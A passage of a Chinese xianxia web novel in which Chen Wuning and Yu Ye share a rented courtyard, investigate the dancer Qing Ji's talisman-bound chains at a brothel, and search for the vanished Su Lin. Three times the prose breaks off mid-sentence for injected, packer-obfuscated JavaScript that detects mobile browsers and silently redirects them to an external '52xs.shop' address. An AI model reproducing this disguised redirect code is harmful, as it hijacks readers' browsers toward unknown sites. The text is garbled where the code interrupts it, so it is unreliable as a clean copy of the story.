第一回溜出家门,踏入凡尘便遇上这么个人。 这人长得顺眼,看着柔弱可欺,内里却是一副响当当的铜铮铁骨,自己还屁颠颠跟着他,不计这更深露重,以天为席地为盖,盼他能给一点好。 郁夜觉得自己有可能中了邪,也可能无聊透顶,才做出这些事来。 不知哪家的报更鸡扯开嗓子叫了几声,一夜黑甜无梦的陈无宁,足足睡了五个时辰才醒。他迷茫地睁开眼睛,打算去后厨烧点热水。 刚踱步到门外,就看见院里倒着一圈人。 宿林从姜叶上起身,掸了掸身上泥土,直直朝他看去。 庄笙靠着树杆睡得东倒西歪。 郁夜的道童被开门声惊醒,正揉着双眼,他自己则披了薄毯,席地睡于连廊下,想必是不怎么舒服的,正在翻身。 尘土沾上郁夜的衣角,一团泥渍钻入陈无宁眼里,他竟感到浑身不快,好像沾在自个儿身上似的。 陈无宁再次被打败,像是师父对着两个徒弟的无奈模样一般,叹了一口绵长的气。 不多时,五人聚于小院石桌,商量如何分配房间。 乌雪泥毕竟才几岁,只能算半个人,被陈无宁塞了本书,逼着在旁早读,不然不给饭吃。 她背书背得头昏脑涨,大有要撅过去的架势。 宿林有着绝佳茶艺,也不知从哪搞来了一套茶具,正安静地为大家斟茶,并不掺和今日的头等大事。 郁夜拿起一家之主的气势,看向陈无宁:“我与你一间房,飞絮,哦,就是我的侍从,可以照顾乌雪泥,正好一间。剩下的就给这俩人吧。” 庄笙对这个安排相当满意,连带看郁夜都顺眼了些,端起茶盏,心满意足地喝了几口。 “飞絮如何能照顾雪泥?”陈无宁抗议,“还是我和小师妹一间,你和你侍丛一间更合适。” “不行,”郁夜义正严辞地拒绝了这个提议,“飞絮是女子,男女有别的道理不懂吗!” 众人的目光齐刷刷地朝飞絮看去。 飞絮一向沉默寡言,领命办事从不多嘴。她自小长在郁家,是郁夜的贴身道童,为方便行事,到人间后便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈无宁见人都走到床边了,还迟迟不上来,忍不住半睁开眼偷瞄过去,却见郁夜乐得前仰后合,还尽力不发出一丝声音惊扰他。 “你乐什么?” 陈无宁装不下去了,坐了起来。 “哈哈,这怎么回事?” 郁夜一指那碗水,捂着肚子狂笑。 他笑得太过放肆,陈无宁不知如何解释,难道要说“提防你行什么不轨?” 又觉得自已一时昏了头,这番举动确实过了,他又不是什么黄花大闺女,此刻却像个谨防被登徒子调戏的小姑娘一样,脸瞬间挂不住了。 郁夜不给他辩驳的机会,翻身上床。 “我说陈无宁,你一天脑袋里在想什么?” “在想怎么甩掉你!” 郁夜放声大笑:“用一碗水来甩?” 陈无宁恼羞成怒,拉起被子蒙住脸,嗡嗡地说:“再笑就滚出去!” 好在少爷的睡相还算老实,笑够了没一会儿便困了,听见旁边发出了浅浅的呼吸声,陈无宁的一颗心终于落回肚里。 次日醒来,床中央的那碗水一滴未洒,郁夜端端正正地睡在外侧,阳光从窗户照进来,他纤长的睫毛细密颤动,在眼睑下投出了一小片阴影,正是少年人该有的美好模样。 不知不觉间,陈无宁看了许久,直到郁夜终于睡饱,缓缓睁开了眼。 他这才觉着不妥,赶紧收回心神,挪开视线。 郁夜还在晨起的迷糊中,不知今夕何夕,完全忘了那碗水的事,四肢长长一舒展,似撒娇般侧身朝陈无宁扑去! 陈无宁吓了一大跳,正要跳脚,一股湿意顺着床单浸开,郁少爷这才完全清醒过来,放开他跳下床,睡袍都湿透了。 他看着自己干的好事,有点心虚。好在陈无宁此刻也正心虚,没有发作他。 郁夜毫不避讳,拿出仙门常用的乾坤袋,从里头捡出几件衣裳,就要在陈无宁面前就地换装。陈无宁受不了这刺激,赶紧起身,抢在他之前穿戴好,跑出了屋。 飞絮仍是作男子打扮,将煮好的早饭放在小院石桌上了。郁夜爱吃山菌,她大清早便出去买了,在后厨熬上一锅香茹虾泥粥,大家都跟着沾了光,喝得心满意足。 早饭过后,各自安排。 晨间时光对乌雪泥来讲,根本不是美好的今天,又踏进了痛苦的深渊。她顶着一副苦大仇深的表情,背那该死的四书五经!背不下去了,就按着临帖练字。陈无宁给她排好每日课程,完不成不准出门玩,不准吃饭! 她觉得师兄简直是人间恶魔! 乌雪泥背书的样子太滑稽,郁夜还没见过这么笨的小姑娘,有些好为人师来。只要乌雪泥练好一个字,就十分不走心的夸上几句,有时还讲几个话本里看来的逗趣小故事。 庄笙在旁喋喋不休:“哥,你同我出去玩嘛,待在院里又没事做。” 宿林干脆利落:“滚”。 还没相处多久,陈无宁已经数不过来宿林对庄笙说过多少个“滚”字了,可庄笙的脸皮厚如城墙,任由宿林如何怒骂还乐在其中,完全一幅受虐狂的模样。 他很不认可的摇摇头,打算上街采购。 心心念念的书房给了别人,好在他住的房间也够宽敞,还是决定在屋里支一张书桌。 9. 下山4 几日忙活下来,几人总算在鲸山落了脚,日子开始按部就班的过下去。 有了飞絮照顾,乌雪泥穿得干净漂亮,看上去更水灵了,虽然读书的时候仍让人抓狂。 宿林此人极为省事,只要不说话,几乎没什么存在感。何况他确实不怎么说话,吃饭不用管他,夜里也基本见不着人,也不知道在做什么。 庄笙一如既往的话唠,且注意力全放在宿林身上,每每见着陈无宁便吹胡子瞪眼,摞下几句“情敌”间的狠话。除此之外,他只知每日出门摆阔,买些稀奇古怪的玩意儿回来,想着讨宿林一笑。 屋里屋外的活计也有了飞絮照应,陈无宁落得清闲,晨起便在前院练上两个时辰的剑,下午关在房里学习符咒一门,到了晚间掌灯读书,勤勉得倒真像是赴京赶考的学子。 郁夜从未见过如此自律的人,对比自身,竟生出一丝自惭形秽。不过这点反省并未让他有所行动,只动摇了一瞬,又觉得这种自找苦吃的行为,只有陈无宁这种疯子才会干。 他有仙门名师教导,加上生得聪明,被逼着也算入了道,但从不主动学习,人生信条便是多玩一日是一日。每当见到陈无宁夜深还不睡觉,有时也会装模作样地翻起他的书,没看一会儿便哈欠连天。 他天生长着副懒骨头,陈无宁只当没看见——郁夜生性开朗,张弛有度,锦绣丛中长大的他,不似自己这般仇恨深种,心里应该是无忧无虑的吧? 郁夜当然不知道陈无宁的心思,困得快睁不开眼了,慵懒地朝床铺走去,还不忘催促他:“别看书了,快来跟我睡觉吧!” 被回了一个冷漠的后脑勺。 一日下午,陈无宁照例关好房门,在屋里练习符咒。 刻符咒时须得全神贯注,一笔不能出错,几十上百刀须笔笔勾连,将灵流凝于指间,一股作气而下,中间断个小点就前功尽弃。 郁夜推门进来,手持木牌的陈无宁被响动搅扰,灵流一泄,这张宁神咒瞬间废了。 他眼神不善地盯着来人! 郁夜用他那招牌式的讨打笑回望过去,瞧了一眼那张作废的木牌和陈无宁的黑脸,当即甩锅:“你心不专,可怪不得我!” 陈无宁将木牌扔到桌上,没好气地问:“符咒一门,你学得如何?” 问起这个,郁夜有些心虚,又不想露怯,为了维护尊严和脸面,只好夹起大尾巴,漫不经心地回答:“还行吧,怎么?” 陈无宁:“你上次说青姬身上有咒,可看出是什么咒?” “隔大老远,我哪能看得清?”郁夜大惊失色,“何况她穿成那样,我怎好多看?” 此言有理,陈无宁只好换了个问法:“凡尘出现了仙门符咒,你就不好奇?” 郁夜摇摇扇子:“吃饱了没事撑的,好奇这个做什么?” 陈无宁看着眼前胸无点墨的少爷,果然问了也是白问,问他,还不如去给神仙上柱香,得个托梦来得快。 他腹诽郁夜,郁夜同样百思不得其解,暗暗编排道:他一天神叨叨的,仿佛一个行走的秘密。我们这个年纪,比孩子多几分清明,比大能又少几分责任,不正该好好享受这如花般的少年时光吗?而他的关注点总是如此新奇。 郁夜难得认真想了一会儿,觉得有些事还是问清楚更好,直言道:“你师从何门?” 在陈无宁这里,他俩这莫名其妙的缘份一年之期到时就会彻底结束,迟早得寻个机会,或是想个办法甩开这群人,回去师门。再加上师父再三告诫过他不得说出师门,他只好有样学样地敷衍道:“小门小派,一介散修罢了。” 郁夜没被忽悠,掂了掂手上的书:“看你带的这些书,可不像小门小派。” 不露自己的老底,并不代表不能知道别人的老底,陈无宁十分双标地回问:“你是哪家门派的?” 郁夜来了精神,跟陈无宁朝夕相处也有段时间了,郁夜自问以诚相待,既然他开口问了,应该是想将关系再拉近些,便将此番谈话当成了两人的坦白局,挤眉弄眼地说:“想知道我的事也不是不行,但你必须保证,绝对不给别人讲。” 陈无宁完全不走心:“嗯。” 在流泉镇住的那几年,师父曾粗略地给他讲过,天下仙门以五派为首,分别是“子桐派、青丘派、浮山派、浑夕派、青要派”,分踞东南西北中。 修士不参和凡尘事务是整个修真界一致的规定,他们独立于世道之外,大多修士看淡七情六欲,以追求飞升为唯一目标。 不过现在的修真界怎样了,师父想必也不太清楚的,三言两语间含糊带过,只说了自家浮山派早已没落,其中原由并未多讲。 庄笙从没掩饰他的身份,陈无宁看他那一脸草包样,想是估计养废了,并未多留意。 而郁夜却说自己是浑夕派掌门的二公子!陈无宁认真听他讲述了“门派的终年无趣,自己如何被囚于樊笼不得自由,只好想了点办法偷跑出门”的经过,只感觉无话可说。 年轻一辈个个不学好,譬如庄笙,整个就一肤浅的神经病,至今也没看出会什么功法心法,反倒在追求狗屁真爱的路上越走越远。 郁夜作为大仙门掌门的儿子,成天无所事事不说,自己既不用功,还处处妨碍别人用功,完全是个找岔精变的。 陈无宁心里顿时升起一股修真界快完蛋了的沧桑来。 他问:“你偷跑出来做什么?” 郁夜讲了好多话,早就不耐烦了,想快点结束自身的话题,打趣道:“就是为了遇见你呀!” 眼见被调戏,陈无宁不甘示弱地回应:“那你如愿了。” 郁夜还没忘这是二人的交心之谈,催促道:“该你了。” 陈无宁不动声色地转移话题:“我今夜要出去一趟,不必等我。” 郁夜立马坐直了:“去哪儿?” “用得着跟你汇报?”陈无宁摞下这一句,完全没看对方的脸色,径自出了屋。 郁夜被他明目张胆地耍了,看起来快气疯了! 陈无宁来到乌雪泥的房间,没见着这小丫头,想是飞絮带她出去玩了。 郁夜不死心地跟来,大声抗议:“你个没良心的,你的事一句没讲,就想跑路?!” 陈无宁不理他,出门找小师妹。 飞絮正牵着乌雪泥在买女孩都喜欢的彩头绳,陈无宁给飞絮叮嘱了几句,蹲下身,给小师妹说:“回去吃了晚饭就乖乖睡觉,师兄有事要出门,你要是不听话,从明天起就加课。” 乌雪泥正沉浸在采办的喜悦中,被这不可理喻的师兄烦死了,示意他快滚,滚得越远越好。 黄昏时分,陈无宁换了一身体面袍子,朝南门走去。 一路上,眼前景象从北门的萧瑟变成了南门的喧闹,到赏春楼后,他选了一个离看台最近的位置。 今夜来的看客依然很多,看来青姬姑娘魅力不减。 约摸戌时三刻,青姬终于上台了,她穿了一件比上次更放肆的薄纱,雪白肩膀和紧致细腰都露了出来,带着铺天盖地的诱惑。 那五根刻满符咒的银链仍然系在她身上,看起来像是精致的饰品,凡人察觉不到其中的关窍。 陈无宁这次坐得很近,想要仔细分辨她身上的符咒,可青姬上台后福了一福,就随着乐声舞动起来,陈无宁还没看明白,她又换了动作。 这不是个办法,想来还是得找到青姬的住处,直接开口问明白更好。 为了不被察觉,陈无宁作出一番寻花问柳的纨绔之姿,一改往日寒酸,让小二上了壶好酒。 赏春楼的热闹直至子时才平熄下来,美人也看了,酒也喝饱了,该回家的回家,该找妈的找妈。一些不想回去的富贵老爷,在家仆的掺扶下东倒西歪地涌向了三楼客房,还不忘点上美人作陪,寻一夜无边春色。 赏春楼消费奇高,陈无宁不得已咬咬牙,掏出银钱,也要了一间客房。 人多眼杂,他打算待到深夜再去找青姬,先前为装样子泯了几口小酒,此时正好发作,他感觉有点犯晕,刚在桌边坐下,一抹熟悉的白色身影拍开房门,直直闯了进来! 陈无宁看见他就头疼,这人简直是块甩不掉的牛皮糖! 郁夜四处张望这花红柳绿的房间陈设,怒道:“什么鬼地方,一看就不正经!” 陈无宁心想,你不也来了?也正经不到哪去。 郁夜再看了看他微红的脸,立马不悦起来,顶着一副兴师问罪的神情道:“你胆儿真肥,才多大年纪,竟敢跑来这种地方过夜?” 陈无宁:“你有完没完?你跟着我作什么?” 郁夜:“谁想跟着你到勾栏来,下午的话还没讲完,你就想开溜?” 陈无宁:“……” 两人你一言我一句正斗得难舍难分,无奈四周房间里传来的声响更加热火朝天。 楼里响起此起彼伏的呻.吟和床板吱吱呀呀的声音,一浪高过一浪,跟比赛似的,不是东风压倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639406|156348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西风就是西风压倒东风。 他俩的争吵声渐渐小了起来,最后都不说话了。 两个半大少年第一次近距离感受了世俗男人们的寻欢作乐,面面相觑,相顾无言。 陈无宁的脸皮还是不敌,红得更厉害了。 郁夜平日端着一副浪荡公子的模样,此刻却也好不到哪去,手和脚都不知道该怎么放,眼神飘忽不定,没有落点。 他突然觉得唇干舌燥,只好端起茶杯一阵猛喝。 令人窒息的尴尬弥漫着整个房间,比起这段时间两人的“同床共枕”,有过之而无不及。 又过了一个时辰,夜已深,四周响动终于消停。 听了许久的靡靡之音,陈无宁的耳朵嗡嗡作响,脑子里塞满浆糊,差点忘记此行目的。 楼里伙计们忙活大半个晚上,也纷纷歇下了。 此时,陈无宁的那点酒意消退不少,他站起身来,重新理好思绪,轻手轻脚地溜出房间,郁夜做贼似的跟了上去。 两人在三楼搜寻一圈,没见着人,陈无宁猜想青姬应该关在别处,便趁着夜色遮掩,来到只供店里人进出的后院。 郁夜一身白衣,在夜里格外抢眼,跟个靶子似的,陈无宁生怕惊动伙计,不得已地牢牢抓住他手腕,将人扣在身边,以防他到处乱晃。 两人走了一会儿,看见后厨柴房旁边还有一间不知道什么用处的小房间,装潢精致无比,立在这处十分奇怪。 陈无宁走了过去,发觉这个房间设有禁制。 暴力破门肯定会引来注意,他捅破窗户纸往里看,果不其然,青姬躺在小床上,纱缦遮住她的身影,只留了一个模糊的轮廓。 陈无宁目力绝佳,推断绝不会认错。 他拣了一颗小石子,用刚在窗户纸上捅出来的洞眼,精准地打到青姬身上。 青姬起身,拉开纱缦,目光在房间搜寻一圈,似乎有点懵。陈无宁从洞眼瞧进去,怕吓到她,只得在窗沿边极轻地扣了几声响。 青姬寻着声响走近前,从那个破洞看出去,见廊下站着两个半大少年。 陈无宁轻声道:“青姬姑娘,你不要害怕。” 青姬:“你们是谁?” 陈无宁:“这里不方便讲,青姬姑娘,你身上的符咒是怎么一回事?” 青姬低下了头,看了看自己四肢和腰上附着的银链,陈无宁推断她应该知道此事。 青姬沉默着回顾平生,父母已逝,给予过她些许温暖的农家人也因自己的缘故被灭了门。左右想了一圈,这世上,唯一还有可能会惦念自己的只有他了,但这念头在脑子里过了一瞬,又黯淡下去,只轻轻问道:“你们......是他的朋友吗?” “他又是谁?”陈无宁摇摇头,却清晰地看见青姬脸上闪过一瞬光华,复又恢复了平静。 她像是个活死人一般,完全没了在表演台上的无穷魅力,随即冷漠地说:“既不是他的朋友,到这来做什么?” 陈无宁坦言:“姑娘,你身上有仙门符咒,凡尘不该有这种东西。” 青姬疲惫地笑了:“何为仙门,又何为凡尘,二者你们说得清吗?不过都是一群自诩清高,不通情理的宵小之辈离尘背世的地方罢了。” 陈无宁本是来调查这事,现下反而被这话说得一头雾水。 “青姬姑娘,你若有苦衷的话,我想办法救你出去。” “救不了的,你们走吧。” 郁夜默默想了想,一把扒拉开陈无宁,凑上了洞眼:“姑娘,你可是青要派的?” 陈无宁诧异的盯了郁夜一眼,没想到青姬听到这话,竟点了点头:“你怎么知道?” 郁夜没卖关子,直言道:“五大派中的青要派一向出绝色,姑娘貌美如花,却又符咒加身,还对世人向往的仙门如此不屑,想来并非凡尘中人。” 青姬沉默了,对屋外的两人摆摆手,转身回了屋,显然不愿意再多谈。 见状,今夜也只能这样了,有了大概眉目,其它事缓缓再说。 临走时,陈无宁去到门边,想要记下门上禁制的笔画,无奈夜色太深,根本看不清。 郁夜“唰”地一下挥开他那把从不离身的折扇,一小坨类似人形的浅白光团飘出,像飘了个阿飘似的,照亮了眼前这一寸见方的空间。 要不是陈无宁性子沉稳,换谁都得惊出尖叫! 郁夜还在添乱,对着那坨阿飘嘀咕道:“狗东西,你也就这点用处了。” 10. 下山5 四下寂静,两人偷摸溜出赏春楼,凌晨的夜暗沉无垠,月儿躲在乌云后,好奇地望着街上的两个冤家。 陈无宁此时的思绪乱得不行,本想趁着天黑御剑回鲸山,郁夜却不放过他,各种不消停,就是不让他飞,两人只好慢慢往回走。 途中飘起了小雨,在这又冷又困的境地里,陈无宁的脑子竟渐渐地清明起来。 虽然嘴上不说,到底因为这段时间发生的种种事情,他对自身的疑惑更深了几分。 人生前十载岁月,人人都说他是怪胎,是天煞孤星,陈无宁只得接受了自己命格凶险的事实。后来,他的生命中相继出现了师父、小师妹、宿林、郁夜等一干人,若他真的身陷罪业,于天道所不容,须得孤身立世,可身边这些人目前都活得好好的,完全没有要被天雷劈死的迹象。 说起师父荀洄,那一百多岁的老头嘴严得很,无论问什么,皆以不变应万变,惯会用他还没长大这种狗屁不通的话来敷衍,又声称要闭关一年,将他和乌雪泥赶出了门,现下也不知道怎样了。 后来在钟灵镇遇见了宿林,说他身上有什么狗屁芬芳,便抛下所有,一路跟来。宿林不是鼻子有问题,就一定是有疯病,偏生这人又消停得很,不找岔,不盘问,两人甚至连正常的交谈都不曾有。 陈无宁不是没想过自己是不是身怀奇宝,可回首平生,除了在逆境下磨出来的心机和执拗,还有门派赐与的一把无阻剑,他到底拿不出什么可堪称道的宝贝了。 至于郁夜,此人目前看上去就是个纯粹的少爷,大抵因为无所事事,图个新鲜赖上自己,没什么值得深思的。 陈无宁深刻地梳理半晌,思绪仍是一团乱麻,颇生出一些认命的感慨。 而这边,郁夜被牛毛似的小雨淋得难受,衣服打湿了,无声无息地化去本应炽热的体温,纠缠着他的步伐。郁夜怕冷,脚步有些沉重,陈无宁又一路沉默,他心烦气躁之下,竟站定不走了,原地睹起气来。 在郁夜心里,都怪陈无宁没事瞎折腾,非要调查什么凡尘出现了仙门符咒,也不知他哪来那么深的好奇心,弄得自己大晚上不能睡觉,还得在街上瞎晃。 发脾气的郁少爷完全意识不到,是他自己犯贱,非要上赶着来的。 他就那么站着,期待陈无宁良心发现。 陈无宁往前走了几步,见牛皮糖没跟上来,只好转过身,看他又作什么妖。 雨水顺着郁夜的脸颊流下,他还没来得及长开的少年身板立于雨幕中,一双看什么都深情的桃花眼微微低垂着,竟生出一丝可怜。 陈无宁的体力快耗干了,不耐烦的语气中夹杂着倦怠,问道:“你傻站着做什么?” 郁夜抬起尊贵的下巴,嗔怪似的望了过去。不知是冷的还是吓的,陈无宁被他这一眼盯出了满身的鸡皮疙瘩。 临近中秋,夜间温度迅速下降,身边也没个长辈耳提面命,两个少年还穿着夏衣,又淋了一路的雨,郁夜冷得有些瑟缩。 陈无宁看他抖得跟个掉了毛的柴火鸡一样,无可奈何地往回走,可郁夜的小性儿还没发作完,呕着气不理人。 陈无宁百思不得其解:多大个人了,这模样,不会是要他哄吧? 他怼人是把好手,哄人却不曾有过,就连几岁的乌雪泥也没享受过这种待遇。他有些想一走了之,可又想到若这样走了,接下来的日子怕没得消停。 为了以后的安宁,陈无宁只好化言语为行动,上前牵起郁夜的手,一步一拉扯地往回走。 天色蒙蒙亮,两人终于走回鲸山小院。郁夜到了自家地盘便颐指气使起来,人也无碍了,中气也足了,“呯呯”敲响飞絮的房门,让她准备热水,洗漱泡澡。 陈无宁折腾了一宿,拿毛巾擦了擦,换身里衣倒头便睡。 可才睡下不久,他又被一阵敲门声惊醒。 郁夜睡得跟条死猪似的,怕是九天惊雷劈下来也撼动不了他,陈无宁一脸怒气地从他身上踩过去,收拾妥当后,打开门便见到包先生那一脸谄媚的笑。 包先生敲断了手,也不管眼前的是不是尊贵的租客了,语气里带着三分揶揄:“小公子睡眠好啊,这日头快爬上中天,想来今年的科举势在必得了。” 外人在前,还是得装装样子,陈无宁收拾好脸色,答道:“昨晚看书,今日睡迟了些,包先生莫要见怪。” 他嘴上这么说着,手上却拦着,就不让包先生看一眼屋里,陈无宁跨出门槛,顺手带上房门,邀请他到院里的石桌上说事。 他们与包先生仅一面之缘,早先几人见小院环境尚且不错,郁夜大方,在陈无宁收留他后,早早就让飞絮将剩余的租银送了过去,因此不知包先生此番前来,是为何事。 陈无宁带着丝疑惑:“先生今日前来,有何指教?” 好在这奸商并没有卖关子,顺势讲道:“还有十日就科考了,朝廷已经下发文书,将考场规则等事事先告知学子们,以行方便。我猜几位不大熟悉安城的布局,不知有这事,便将文书带了过来。” 说着,他从怀里摸出几个信封,递到陈无宁手里。 那天为了租到房,陈无宁谎称自己是学子,包先生便真当他这一行都是进京赴考的,还颇有责任心,亲自上门送书信。 陈无宁拆开信封,第一张纸上写着一干考场细则及一排违规者的处罚措施,完全跟他无关,他顿时失了兴趣,只是脸上还得装出认真的模样。 又见细则下还有几张纸,上面注明:请考生务必填写上至三代的履历明细,以供朝廷审核。——长风院。 一些凡间常识陈无宁还是有的,科考理应是翰林院与礼部的事,这长风院又是何来头? 陈无宁客气地说:“小生长居故地,对京城诸事不甚了解,还请先生指教。” “岂敢岂敢,”包先生摆摆手,“小公子折煞本人了,不知有什么问题?” 陈无宁拎出那几张空白的纸,给他瞧了瞧:“先生,长风院是什么机构?小生从未听说。” “这……”包先生也答不上来。 他一个小本生意人,哪懂得朝廷的一干设置,只是见着陈无宁一行大方客气,心里盘算着帮他们一把,但凡一人榜上有名,纵使租金再贵,何愁这小院将来租不出去? “科举之事我也不大清楚,不过倒能给小公子引荐一人,此人是我朋友,只是他也很少提及朝廷的事,也不知能否请到,我尽力一试。” 陈无宁道了谢:“那麻烦先生了。” 包先生的善举并不足以让困得不行的陈无宁行周全的待客之道,见没其它事了,他淡淡地问:“我会将告示转交他们,这快中午了,先生是要留下来吃饭么?” 是个人都能听出其中的逐客之意,好在包先生乃正经生意人,养气功夫颇足,回了句不打扰,便自觉地转身离去。 关于长风院的这点疑惑只在陈无宁的脑子里过了一瞬,又觉得想这些做什么?要不是睡眠不足,脑子糊涂,也不会多嘴多舌地去问。 说起来,以他极其自律的性格,不必催也会看书,又有钻研劲,若非已斩断尘缘,说不定还真会赶赴科考,走上仕途。 他孑然一身,无牵无挂,是个入朝为官的好苗子,可命运的轮.盘只有一个指针,自踏出凡尘,走向仙门,此身早已改天换地,凡尘俗事,终究与他无关了。 不过,人间有人间的动荡与不安,大道也有大道的责任与重担。无论是在凡尘追逐封侯拜相,或是在求仙问道的路上上下求索,凭他骨子里的凛冽与执拗,陈无宁都不想、也不会给自己留后悔的余地。 他摇了摇头,甩干净这些不切实际的想法,回屋走到了书桌旁。 郁夜一觉睡至黄昏,被天光哄打着逐出梦境。这段时日以来,他不知不觉间习惯了身边人的清浅呼吸,抬手摸了摸,没摸到人,迷茫地睁开双眼,看见陈无宁端坐于桌案,做着每日的符咒功课。 从窗户透来的最后一丝光渐隐下去,郁夜觉得自己有点虚弱,像行走在这个世界最孤寂的边缘,春华秋实的美好与破土而出的生命力,从来都不属于他。 他心里忽然生起某种特殊的念想,他想要抓住这世上的什么,不过还来不及弄明白这突如其来的顿悟,门便从外面打开了,庄笙像个横冲直撞的螃蟹闯了进来。 骤然被打断功课,陈无宁十分没好气:“庄苼,家里大人没教过你礼数吗?” 在庄笙眼里,礼数是什么?那玩意儿能下饭吗?可他眼下却顾不得与陈无宁干嘴仗,焦急地说:“宿林哥不见了!” 屋里的两人难得默契,心想不见了更好,陈无宁本身就是被莫名其妙赖上的苦主,看起来快要摆脱其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639407|156348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中一个了,买一赠一,兴许还能附带着再甩开一个,何乐而不为? 郁夜却因为一直摸不透宿林的深浅,一度把他当成不怀好意之人,虽然他也不知道自己在较什么劲,但就是看此人十分不爽。 陈无宁更没好气:“他不见了你就去找,来我这里做什么?” “我要找得着还用问你?”庄笙气急败坏地大吼,“说不定就是你搞的鬼,说,是不是你把宿林哥藏起来了!” 一口黑锅扣在陈无宁的头上,他愤怒地站起身,盯着面前不可理喻的少年,气得一度词穷。 这时,一边的郁夜突然插话:“先别急,你说说怎么回事。” 郁夜平时也看不惯庄笙,庄苼那副作派像是被狐狸精勾了魂的色坯似的,再白痴也没有了,任谁都瞧不上。 不料此时,他却为了喜欢的人,竟放下尊严,毫不在意自己一脸失态的熊样,红着眼圈,跑来向臆想中的“情敌”求助。 庄笙站在门口,因为担心宿林的安危有些颤抖,好似瑟瑟秋风扫在他的身上,显得孤影寥落。郁夜看着他,觉得平日里那个嚣张跋扈的少年郞不见了,只余下个一碰就碎的琉璃人。 这世上,绝大多数人在人生中都秉承着顺其自然的态度,可自从认识庄笙的那天起,他就身体力行地为众人诠释了什么叫做百折不挠的情义。 庄笙拖着脚步,走到桌边坐下,也许是方才将焦急发作完了,他此刻只落下一身颓然的灰,焉焉地道:“宿林哥时常不见踪影,我知道他喜静,嫌我吵闹,便只当他偶尔的失踪是去散心,可这次不一样,我都三天没见到他了!” 郁夜耐着性子问:“宿林平时有什么常去的地方?” 庄苼:“除了门口的茶摊,不知道他还会去哪儿。” 郁夜想了想:“或许是亲朋好友来找他了?” 庄笙的眼神飘忽起来,像沉浸在记忆里,低低地说:“宿林哥哪来的亲戚朋友,我在钟灵镇遇见他后,就一直跟在他身边,从未见他接触过什么人。” 说到这里,庄笙突然想起与陈无宁初见那天的情形,从来冷淡的宿林毫无征兆地鬼迷了心窍,铁了心要跟这人走。 庄笙的五脏六腑搅起风暴似的酸,他恶狠狠地瞪了陈无宁一眼:“宿林哥白天卖茶,晚上就往小镇南边的山里走去。” 郁夜更疑惑了:“他住在山里?” “是的。”庄苼讲道,“好几次夜里,我偷偷跟着他往山上走,想知道他家在何处,可是通常没跟一会儿,人就不见了。有一回白天,我也去山上看过,并无人家。” 这时,一直沉默的陈无宁总算开了口,幽幽地说:“宿林应该不是人。” 郁夜听懂了这话,可庄笙这豆腐脑反应不过来,他“腾”地站起身来,几欲咬人:“你才不是人!” 陈无宁并不想同他一般见识,明白解释道:“我的意思是,宿林应该不是凡人,若他是仙门修士,可我们这个年纪,还没听说谁能修到辟谷,你可曾见他吃过一口饭?” 庄苼原地崩溃了...... “不是凡人,也不是修士......”郁夜接着陈无宁的话分析,“那么,他只能是精怪,或者鬼怪了。” 此言一出,三人同时愣住。郁夜把自己说出一身倒毛汗,他蹭蹭脚步,挪到陈无宁身边,想寻个活人的体温缓解这股子惊悚。 陈无宁却琢磨起一些事来。 若宿林是精怪,那他的本体是什么?通过之前对榕的片面认知,草木修出的精灵都不能离开本体,一旦离开,便会时刻惶恐不安,若有人趁机毁掉本体,那精怪也会跟着一并消散。 若宿林是鬼怪,陈无宁自觉活了十几年,还没做过什么十恶不赦的事,理当不会被鬼缠身。 不过这也说不好,他自出生起就厄运不断,若不知不觉间引来几只鬼,好像也说得通? 他还没揣度完这些乱七八糟的事,庄笙却再也坐不住了,天知道这几句话给他捅了多大个窟窿眼,他一刻也等不了了,夺门而出! 郁夜跟陈无宁对视了一眼,只这一眼,对方心底的想法露了个明白——作为修士,于正道上,不能眼看这么危险的“东西”在凡尘游荡。于情义里,好歹也有同行一路、同住一院的露水情缘,不可能放任不管。 陈无宁道:“找吧。” 11. 下山6 鲸山半山腰的一块岩石背后,宿林蜷缩着身体,紧闭着眼,始终无法醒来。 三天前的夜里,在庄笙睡着后,他一如往常地走向鲸山,打算在此过夜。 临近中秋,星河如洗,月色洒下一地流莹,林间动物此起彼伏的夜鸣像一曲舒缓的安眠谣,细细抚摸着他的神经。 山里有他喜欢的草木香,宿林沉醉于此,享受着自然馈赠的静寂夜晚。只是这夜运气不大好,从来清甜无梦的他,竟遇到了一只梦貘。 梦貘食人梦而生,而眼前的这个人,竟然看不到一点梦境。 大抵每个物种都有自已的个性,越得不到,越感兴趣。梦貘那双满含危险的眼睛眯成了一条缝,它低呤浅唱起来,想看看此人深不见底的灵魂里究竟藏着什么? 在歌声的引诱下,宿林生平头回做梦,光怪陆离的梦境搅得他呼吸急促,又像是被魇住一般,怎么都醒不过来。 他梦见目力所及的远方地平线,天空与大地的连接处,突然豁开了一条大裂缝,裂缝以铺天盖地的气势席卷而来,吞噬沿途的一切,无论是热闹城镇,还是荒凉山村,世间万物皆被这张血盆大口吞吃入腹,不明所以的凡人发出撕心裂肺的尖叫,满含生命里最幽深的恐惧,天怒人怨,齐声喧哗! 他无论如何也挣动不了,只能眼睁睁看着这毁天灭地的一幕。 他想救人,哪怕救一个也是好的,可身体却像是灌了铁,他抬不起双臂,走不动一步,发不出音节,只能做一个心碎的旁观者,忠实地用双眼记录下世间生灵的战栗。 